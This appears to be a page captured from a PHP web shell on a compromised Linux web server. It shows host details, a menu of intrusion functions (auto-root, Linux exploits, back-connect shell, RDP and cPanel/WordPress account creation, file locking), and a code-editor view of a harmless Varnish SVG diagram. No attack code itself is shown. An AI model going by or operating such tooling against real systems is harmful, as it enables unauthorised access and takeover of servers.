Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
varnish-5.2.1 /
html /
_images /
[ HOME SHELL ]
Name
Size
Permission
Action
bjarne.jpeg
28.83
KB
-rw-r--r--
brinch_hansens_arrows_1.svg
29.51
KB
-rw-r--r--
cache_fetch.svg
19.35
KB
-rw-r--r--
cache_req_fsm.svg
32.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cache_fetch.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <!-- Generated by graphviz version 2.38.0 (20140413.2041) --> <!-- Title: cache_fetch Pages: 1 --> <svg width="665pt" height="1052pt" viewBox="36.00 36.00 629.00 1015.74" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(40 1011.74)"> <title>cache_fetch</title> <polygon fill="white" stroke="none" points="-4,4 -4,-975.74 589,-975.74 589,4 -4,4"/> <g id="clust1" class="cluster"><title>cluster_backend</title> <polygon fill="aliceblue" stroke="aliceblue" points="8,-8 8,-963.74 577,-963.74 577,-8 8,-8"/> </g> <!-- RETRY --> <g id="node1" class="node"><title>RETRY</title> <text text-anchor="middle" x="383" y="-942.04" font-family="Times,serif" font-size="14.00">RETRY</text> </g> <!-- v_b_f --> <g id="node4" class="node"><title>v_b_f</title> <polygon fill="none" stroke="black" points="157.5,-821.24 157.5,-890.24 346.5,-890.24 346.5,-821.24 157.5,-821.24"/> <text text-anchor="middle" x="252" y="-875.04" font-family="Times,serif" font-size="14.00">vbf_stp_startfetch:</text> <polyline fill="none" stroke="black" points="157.5,-867.24 346.5,-867.24 "/> <text text-anchor="middle" x="223.5" y="-852.04" font-family="Times,serif" font-size="14.00">vcl_backend_fetch{}</text> <polyline fill="none" stroke="black" points="289.5,-844.24 289.5,-867.24 "/> <text text-anchor="middle" x="318" y="-852.04" font-family="Times,serif" font-size="14.00">bereq.*</text> <polyline fill="none" stroke="black" points="157.5,-844.24 346.5,-844.24 "/> <text text-anchor="middle" x="209" y="-829.04" font-family="Times,serif" font-size="14.00">abandon</text> <polyline fill="none" stroke="black" points="260.5,-821.24 260.5,-844.24 "/> <text text-anchor="middle" x="303.5" y="-829.04" font-family="Times,serif" font-size="14.00">fetch</text> </g> <!-- RETRY->v_b_f --> <g id="edge4" class="edge"><title>RETRY->v_b_f</title> <path fill="none" stroke="purple" d="M357.431,-927.564C343.989,-918.534 326.918,-907.067 310.449,-896.003"/> <polygon fill="purple" stroke="purple" points="312.166,-892.941 301.914,-890.27 308.263,-898.752 312.166,-892.941"/> </g> <!-- v_b_f_BGFETCH --> <g id="node2" class="node"><title>v_b_f_BGFETCH</title> <polygon fill="turquoise" stroke="turquoise" points="334,-963.74 256,-963.74 256,-927.74 334,-927.74 334,-963.74"/> <text text-anchor="middle" x="295" y="-942.04" font-family="Times,serif" font-size="14.00">BGFETCH</text> </g> <!-- v_b_f_BGFETCH->v_b_f --> <g id="edge1" class="edge"><title>v_b_f_BGFETCH->v_b_f</title> <path fill="none" stroke="green" stroke-width="2" d="M286.505,-927.354C282.569,-919.301 277.703,-909.342 272.879,-899.468"/> <polygon fill="green" stroke="green" stroke-width="2" points="276.023,-897.93 268.488,-890.482 269.733,-901.003 276.023,-897.93"/> </g> <!-- v_b_f_FETCH --> <g id="node3" class="node"><title>v_b_f_FETCH</title> <polygon fill="turquoise" stroke="turquoise" points="237.5,-963.74 178.5,-963.74 178.5,-927.74 237.5,-927.74 237.5,-963.74"/> <text text-anchor="middle" x="208" y="-942.04" font-family="Times,serif" font-size="14.00">FETCH</text> </g> <!-- v_b_f_FETCH->v_b_f --> <g id="edge2" class="edge"><title>v_b_f_FETCH->v_b_f</title> <path fill="none" stroke="blue" stroke-width="2" d="M211.189,-927.354C214.348,-919.301 218.913,-909.342 223.888,-899.468"/> <polygon fill="blue" stroke="blue" stroke-width="2" points="227.052,-900.971 228.545,-890.482 220.836,-897.751 227.052,-900.971"/> </g> <!-- v_b_f_FETCH->v_b_f --> <g id="edge3" class="edge"><title>v_b_f_FETCH->v_b_f</title> <path fill="none" stroke="red" stroke-width="2" d="M222.197,-927.354C227.042,-919.383 232.376,-909.545 237.233,-899.771"/> <polygon fill="red" stroke="red" stroke-width="2" points="240.521,-901.01 241.713,-890.482 234.217,-897.969 240.521,-901.01"/> </g> <!-- v_b_hdrs --> <g id="node5" class="node"><title>v_b_hdrs</title> <ellipse fill="none" stroke="black" cx="304" cy="-756.87" rx="94.0904" ry="26.7407"/> <text text-anchor="middle" x="304" y="-760.67" font-family="Times,serif" font-size="14.00">send bereq,</text> <text text-anchor="middle" x="304" y="-745.67" font-family="Times,serif" font-size="14.00">read beresp (headers)</text> </g> <!-- v_b_f->v_b_hdrs --> <g id="edge5" class="edge"><title>v_b_f:fetch:s->v_b_hdrs</title> <path fill="none" stroke="black" stroke-width="2" d="M304,-820.74C304,-812.127 304,-802.849 304,-794.136"/> <polygon fill="black" stroke="black" stroke-width="2" points="307.5,-793.87 304,-783.87 300.5,-793.87 307.5,-793.87"/> </g> <!-- v_b_r --> <g id="node6" class="node"><title>v_b_r</title> <polygon fill="none" stroke="black" points="290.5,-577.5 290.5,-692.5 531.5,-692.5 531.5,-577.5 290.5,-577.5"/> <text text-anchor="middle" x="411" y="-677.3" font-family="Times,serif" font-size="14.00">vbf_stp_startfetch:</text> <polyline fill="none" stroke="black" points="290.5,-669.5 531.5,-669.5 "/> <text text-anchor="middle" x="373" y="-642.8" font-family="Times,serif" font-size="14.00">vcl_backend_response{}</text> <polyline fill="none" stroke="black" points="455.5,-623.5 455.5,-669.5 "/> <text text-anchor="middle" x="493.5" y="-654.3" font-family="Times,serif" font-size="14.00">bereq.*</text> <polyline fill="none" stroke="black" points="455.5,-646.5 531.5,-646.5 "/> <text text-anchor="middle" x="493.5" y="-631.3" font-family="Times,serif" font-size="14.00">beresp.*</text> <polyline fill="none" stroke="black" points="290.5,-623.5 531.5,-623.5 "/> <text text-anchor="middle" x="332" y="-608.3" font-family="Times,serif" font-size="14.00">retry</text> <polyline fill="none" stroke="black" points="290.5,-600.5 373.5,-600.5 "/> <text text-anchor="middle" x="314" y="-585.3" font-family="Times,serif" font-size="14.00">max?</text> <polyline fill="none" stroke="black" points="337.5,-577.5 337.5,-600.5 "/> <text text-anchor="middle" x="355.5" y="-585.3" font-family="Times,serif" font-size="14.00">ok?</text> <polyline fill="none" stroke="black" points="373.5,-577.5 373.5,-623.5 "/> <text text-anchor="middle" x="404.5" y="-596.8" font-family="Times,serif" font-size="14.00">abandon</text> <polyline fill="none" stroke="black" points="435.5,-577.5 435.5,-623.5 "/> <text text-anchor="middle" x="483.5" y="-608.3" font-family="Times,serif" font-size="14.00">deliver or pass</text> <polyline fill="none" stroke="black" points="435.5,-600.5 531.5,-600.5 "/> <text text-anchor="middle" x="457.5" y="-585.3" font-family="Times,serif" font-size="14.00">304?</text> <polyline fill="none" stroke="black" points="479.5,-577.5 479.5,-600.5 "/> <text text-anchor="middle" x="505.5" y="-585.3" font-family="Times,serif" font-size="14.00">other?</text> </g> <!-- v_b_hdrs->v_b_r --> <g id="edge6" class="edge"><title>v_b_hdrs->v_b_r</title> <path fill="none" stroke="black" stroke-width="2" d="M326.431,-730.741C334.497,-721.705 344.005,-711.053 353.68,-700.214"/> <polygon fill="black" stroke="black" stroke-width="2" points="356.342,-702.489 360.39,-692.698 351.119,-697.827 356.342,-702.489"/> </g> <!-- v_b_e --> <g id="node7" class="node"><title>v_b_e</title> <polygon fill="none" stroke="black" points="160.5,-424.5 160.5,-539.5 359.5,-539.5 359.5,-424.5 160.5,-424.5"/> <text text-anchor="middle" x="260" y="-524.3" font-family="Times,serif" font-size="14.00">vbf_stp_error:</text> <polyline fill="none" stroke="black" points="160.5,-516.5 359.5,-516.5 "/> <text text-anchor="middle" x="227.5" y="-489.8" font-family="Times,serif" font-size="14.00">vcl_backend_error{}</text> <polyline fill="none" stroke="black" points="294.5,-470.5 294.5,-516.5 "/> <text text-anchor="middle" x="327" y="-501.3" font-family="Times,serif" font-size="14.00">bereq.*</text> <polyline fill="none" stroke="black" points="294.5,-493.5 359.5,-493.5 "/> <text text-anchor="middle" x="327" y="-478.3" font-family="Times,serif" font-size="14.00">beresp.*</text> <polyline fill="none" stroke="black" points="160.5,-470.5 359.5,-470.5 "/> <text text-anchor="middle" x="202" y="-455.3" font-family="Times,serif" font-size="14.00">retry</text> <polyline fill="none" stroke="black" points="160.5,-447.5 243.5,-447.5 "/> <text text-anchor="middle" x="184" y="-432.3" font-family="Times,serif" font-size="14.00">max?</text> <polyline fill="none" stroke="black" points="207.5,-424.5 207.5,-447.5 "/> <text text-anchor="middle" x="225.5" y="-432.3" font-family="Times,serif" font-size="14.00">ok?</text> <polyline fill="none" stroke="black" points="243.5,-424.5 243.5,-470.5 "/> <text text-anchor="middle" x="274.5" y="-443.8" font-family="Times,serif" font-size="14.00">abandon</text> <polyline fill="none" stroke="black" points="305.5,-424.5 305.5,-470.5 "/> <text text-anchor="middle" x="332.5" y="-443.8" font-family="Times,serif" font-size="14.00">deliver</text> </g> <!-- v_b_hdrs->v_b_e --> <g id="edge7" class="edge"><title>v_b_hdrs->v_b_e</title> <path fill="none" stroke="black" d="M292.876,-730.008C288.503,-718.822 283.855,-705.462 281,-693 270.192,-645.818 264.946,-591.408 262.4,-549.796"/> <polygon fill="black" stroke="black" points="265.893,-549.557 261.824,-539.775 258.904,-549.959 265.893,-549.557"/> </g> <!-- v_b_r->v_b_e --> <g id="edge9" class="edge"><title>v_b_r:max->v_b_e</title> <path fill="none" stroke="black" d="M314,-577C314,-567.432 311.87,-557.956 308.457,-548.915"/> <polygon fill="black" stroke="black" points="311.642,-547.462 304.47,-539.663 305.213,-550.232 311.642,-547.462"/> </g> <!-- v_b_r_retry --> <g id="node8" class="node"><title>v_b_r_retry</title> <text text-anchor="middle" x="408" y="-478.3" font-family="Times,serif" font-size="14.00">RETRY</text> </g> <!-- v_b_r->v_b_r_retry --> <g id="edge8" class="edge"><title>v_b_r:retry->v_b_r_retry</title> <path fill="none" stroke="purple" d="M355,-577C355,-562.528 374.302,-531.289 389.61,-508.791"/> <polygon fill="purple" stroke="purple" points="392.635,-510.57 395.44,-500.353 386.876,-506.591 392.635,-510.57"/> </g> <!-- vbf_stp_condfetch --> <g id="node9" class="node"><title>vbf_stp_condfetch</title> <polygon fill="none" stroke="grey" points="342.5,-313.5 342.5,-405.5 463.5,-405.5 463.5,-313.5 342.5,-313.5"/> <text text-anchor="middle" x="403" y="-390.3" font-family="Times,serif" font-size="14.00" fill="grey">vbf_stp_condfetch:</text> <polyline fill="none" stroke="grey" points="342.5,-382.5 463.5,-382.5 "/> <text text-anchor="middle" x="403" y="-367.3" font-family="Times,serif" font-size="14.00" fill="grey">copy obj attr</text> <polyline fill="none" stroke="grey" points="342.5,-359.5 463.5,-359.5 "/> <text text-anchor="middle" x="403" y="-344.3" font-family="Times,serif" font-size="14.00" fill="grey">steal body</text> <polyline fill="none" stroke="grey" points="342.5,-336.5 463.5,-336.5 "/> <text text-anchor="middle" x="382" y="-321.3" font-family="Times,serif" font-size="14.00" fill="grey">fetch_fail?</text> <polyline fill="none" stroke="grey" points="421.5,-313.5 421.5,-336.5 "/> <text text-anchor="middle" x="442.5" y="-321.3" font-family="Times,serif" font-size="14.00" fill="grey">ok?</text> </g> <!-- v_b_r->vbf_stp_condfetch --> <g id="edge10" class="edge"><title>v_b_r:fetch_304:s->vbf_stp_condfetch</title> <path fill="none" stroke="black" d="M458,-577C458,-508.824 469.663,-488.299 447,-424 445.908,-420.901 444.621,-417.813 443.188,-414.764"/> <polygon fill="black" stroke="black" points="446.219,-413.006 438.496,-405.754 440.011,-416.24 446.219,-413.006"/> </g> <!-- vbf_stp_fetch --> <g id="node10" class="node"><title>vbf_stp_fetch</title> <polygon fill="none" stroke="grey" points="477.5,-436 477.5,-528 576.5,-528 576.5,-436 477.5,-436"/> <text text-anchor="middle" x="527" y="-512.8" font-family="Times,serif" font-size="14.00" fill="grey">vbf_stp_fetch:</text> <polyline fill="none" stroke="grey" points="477.5,-505 576.5,-505 "/> <text text-anchor="middle" x="527" y="-489.8" font-family="Times,serif" font-size="14.00" fill="grey">setup VFPs</text> <polyline fill="none" stroke="grey" points="477.5,-482 576.5,-482 "/> <text text-anchor="middle" x="527" y="-466.8" font-family="Times,serif" font-size="14.00" fill="grey">get object</text> <polyline fill="none" stroke="grey" points="477.5,-459 576.5,-459 "/> <text text-anchor="middle" x="502" y="-443.8" font-family="Times,serif" font-size="14.00" fill="grey">error?</text> <polyline fill="none" stroke="grey" points="526.5,-436 526.5,-459 "/> <text text-anchor="middle" x="551.5" y="-443.8" font-family="Times,serif" font-size="14.00" fill="grey">body?</text> </g> <!-- v_b_r->vbf_stp_fetch --> <g id="edge11" class="edge"><title>v_b_r:non_304:s->vbf_stp_fetch</title> <path fill="none" stroke="black" d="M506,-577C506,-564.333 507.839,-550.932 510.428,-538.341"/> <polygon fill="black" stroke="black" points="513.874,-538.969 512.645,-528.446 507.043,-537.439 513.874,-538.969"/> </g> <!-- FETCH_DONE --> <g id="node13" class="node"><title>FETCH_DONE</title> <polygon fill="turquoise" stroke="turquoise" points="370,-44 266,-44 266,-8 370,-8 370,-44"/> <text text-anchor="middle" x="318" y="-22.3" font-family="Times,serif" font-size="14.00">FETCH_DONE</text> </g> <!-- v_b_e->FETCH_DONE --> <g id="edge18" class="edge"><title>v_b_e:deliver->FETCH_DONE</title> <path fill="none" stroke="black" d="M333,-424C333,-309.281 283.017,-283.284 293,-169 296.516,-128.756 305.534,-82.8201 311.72,-54.3619"/> <polygon fill="black" stroke="black" points="315.19,-54.8792 313.935,-44.359 308.356,-53.3659 315.19,-54.8792"/> <text text-anchor="middle" x="338.5" y="-172.8" font-family="Times,serif" font-size="14.00">"backend synth"</text> </g> <!-- FETCH_FAIL --> <g id="node15" class="node"><title>FETCH_FAIL</title> <polygon fill="turquoise" stroke="turquoise" points="163,-266.5 67,-266.5 67,-230.5 163,-230.5 163,-266.5"/> <text text-anchor="middle" x="115" y="-244.8" font-family="Times,serif" font-size="14.00">FETCH_FAIL</text> </g> <!-- v_b_e->FETCH_FAIL --> <g id="edge20" class="edge"><title>v_b_e:max:s->FETCH_FAIL</title> <path fill="none" stroke="black" d="M184,-424C184,-368.018 152.909,-308.564 132.467,-275.525"/> <polygon fill="black" stroke="black" points="135.33,-273.503 127.019,-266.932 129.418,-277.251 135.33,-273.503"/> </g> <!-- v_b_e_retry --> <g id="node16" class="node"><title>v_b_e_retry</title> <text text-anchor="middle" x="225" y="-244.8" font-family="Times,serif" font-size="14.00">RETRY</text> </g> <!-- v_b_e->v_b_e_retry --> <g id="edge19" class="edge"><title>v_b_e:retry->v_b_e_retry</title> <path fill="none" stroke="purple" d="M225,-424C225,-372.06 225,-311.425 225,-277.036"/> <polygon fill="purple" stroke="purple" points="228.5,-276.837 225,-266.837 221.5,-276.837 228.5,-276.837"/> </g> <!-- vbf_stp_fetchend --> <g id="node12" class="node"><title>vbf_stp_fetchend</title> <polygon fill="none" stroke="grey" points="340.5,-81.5 340.5,-150.5 503.5,-150.5 503.5,-81.5 340.5,-81.5"/> <text text-anchor="middle" x="422" y="-135.3" font-family="Times,serif" font-size="14.00" fill="grey">vbf_stp_fetchend:</text> <polyline fill="none" stroke="grey" points="340.5,-127.5 503.5,-127.5 "/> <text text-anchor="middle" x="422" y="-112.3" font-family="Times,serif" font-size="14.00" fill="grey">finalize object and director</text> <polyline fill="none" stroke="grey" points="340.5,-104.5 503.5,-104.5 "/> <text text-anchor="middle" x="422" y="-89.3" font-family="Times,serif" font-size="14.00" fill="grey">done</text> </g> <!-- vbf_stp_condfetch->vbf_stp_fetchend --> <g id="edge16" class="edge"><title>vbf_stp_condfetch:ok:s->vbf_stp_fetchend</title> <path fill="none" stroke="black" d="M443,-313C443,-287.28 403.096,-315.824 388,-295 359.366,-255.5 377.896,-198.542 396.959,-159.769"/> <polygon fill="black" stroke="black" points="400.102,-161.311 401.53,-150.813 393.867,-158.129 400.102,-161.311"/> </g> <!-- vbf_stp_fetchbody --> <g id="node11" class="node"><title>vbf_stp_fetchbody</title> <polygon fill="none" stroke="grey" points="397.5,-202.5 397.5,-294.5 556.5,-294.5 556.5,-202.5 397.5,-202.5"/> <text text-anchor="middle" x="477" y="-279.3" font-family="Times,serif" font-size="14.00" fill="grey">vbf_stp_fetchbody:</text> <polyline fill="none" stroke="grey" points="397.5,-271.5 556.5,-271.5 "/> <text text-anchor="middle" x="477" y="-256.3" font-family="Times,serif" font-size="14.00" fill="grey">get storage</text> <polyline fill="none" stroke="grey" points="397.5,-248.5 556.5,-248.5 "/> <text text-anchor="middle" x="477" y="-233.3" font-family="Times,serif" font-size="14.00" fill="grey">read body, run VFPs</text> <polyline fill="none" stroke="grey" points="397.5,-225.5 556.5,-225.5 "/> <text text-anchor="middle" x="434.5" y="-210.3" font-family="Times,serif" font-size="14.00" fill="grey">fetch_fail?</text> <polyline fill="none" stroke="grey" points="471.5,-202.5 471.5,-225.5 "/> <text text-anchor="middle" x="496" y="-210.3" font-family="Times,serif" font-size="14.00" fill="grey">error?</text> <polyline fill="none" stroke="grey" points="520.5,-202.5 520.5,-225.5 "/> <text text-anchor="middle" x="538.5" y="-210.3" font-family="Times,serif" font-size="14.00" fill="grey">ok?</text> </g> <!-- vbf_stp_fetch->vbf_stp_fetchbody --> <g id="edge13" class="edge"><title>vbf_stp_fetch:body:s->vbf_stp_fetchbody</title> <path fill="none" stroke="black" d="M552,-435C552,-388.245 531.268,-339.378 511.605,-303.543"/> <polygon fill="black" stroke="black" points="514.596,-301.722 506.642,-294.723 508.495,-305.154 514.596,-301.722"/> </g> <!-- vbf_stp_fetch->vbf_stp_fetchend --> <g id="edge14" class="edge"><title>vbf_stp_fetch:body:s->vbf_stp_fetchend</title> <path fill="none" stroke="black" d="M552,-435C552,-331.258 603.409,-298.763 566,-202 556.486,-177.39 535.576,-159.54 512.562,-146.753"/> <polygon fill="black" stroke="black" points="514.141,-143.629 503.658,-142.097 510.897,-149.832 514.141,-143.629"/> </g> <!-- vbf_stp_fetchbody->vbf_stp_fetchend --> <g id="edge12" class="edge"><title>vbf_stp_fetchbody:ok:s->vbf_stp_fetchend</title> <path fill="none" stroke="black" d="M539,-202C539,-182.009 527.682,-166.232 512.087,-153.979"/> <polygon fill="black" stroke="black" points="513.748,-150.864 503.579,-147.89 509.674,-156.556 513.748,-150.864"/> </g> <!-- vbf_stp_fetchend->FETCH_DONE --> <g id="edge15" class="edge"><title>vbf_stp_fetchend:done:s->FETCH_DONE</title> <path fill="none" stroke="black" d="M422,-81C422,-58.3033 402.249,-45.1333 379.962,-37.4971"/> <polygon fill="black" stroke="black" points="380.891,-34.1214 370.305,-34.5516 378.849,-40.8169 380.891,-34.1214"/> </g> <!-- error --> <g id="node14" class="node"><title>error</title> <text text-anchor="middle" x="115" y="-478.3" font-family="Times,serif" font-size="14.00">error</text> </g> <!-- error->FETCH_FAIL --> <g id="edge17" class="edge"><title>error->FETCH_FAIL</title> <path fill="none" stroke="black" d="M115,-463.977C115,-424.176 115,-324.764 115,-276.558"/> <polygon fill="black" stroke="black" points="118.5,-276.548 115,-266.548 111.5,-276.548 118.5,-276.548"/> </g> <!-- abandon --> <g id="node17" class="node"><title>abandon</title> <text text-anchor="middle" x="39" y="-478.3" font-family="Times,serif" font-size="14.00">abandon</text> </g> <!-- abandon->FETCH_FAIL --> <g id="edge21" class="edge"><title>abandon->FETCH_FAIL</title> <path fill="none" stroke="black" d="M44.5885,-463.977C57.6824,-424.092 90.4285,-324.346 106.216,-276.255"/> <polygon fill="black" stroke="black" points="109.61,-277.141 109.403,-266.548 102.959,-274.957 109.61,-277.141"/> </g> </g> </svg>
Close